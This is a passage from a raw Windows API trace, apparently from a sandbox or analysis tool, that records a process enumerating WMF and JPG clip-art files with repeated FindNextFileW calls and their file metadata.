ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0251.700] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0252.487] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0252.487] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0252.487] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0252.487] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0252.487] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0252.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0252.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0252.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0252.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0252.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0252.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0252.489] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0252.489] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0252.489] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0252.489] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0252.489] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0252.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0252.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0252.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0252.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0252.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0252.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0252.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0252.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0252.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0252.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0252.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0252.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0253.896] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0253.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0253.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0253.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0253.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0253.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0253.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0253.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0253.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0253.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0253.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0253.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, 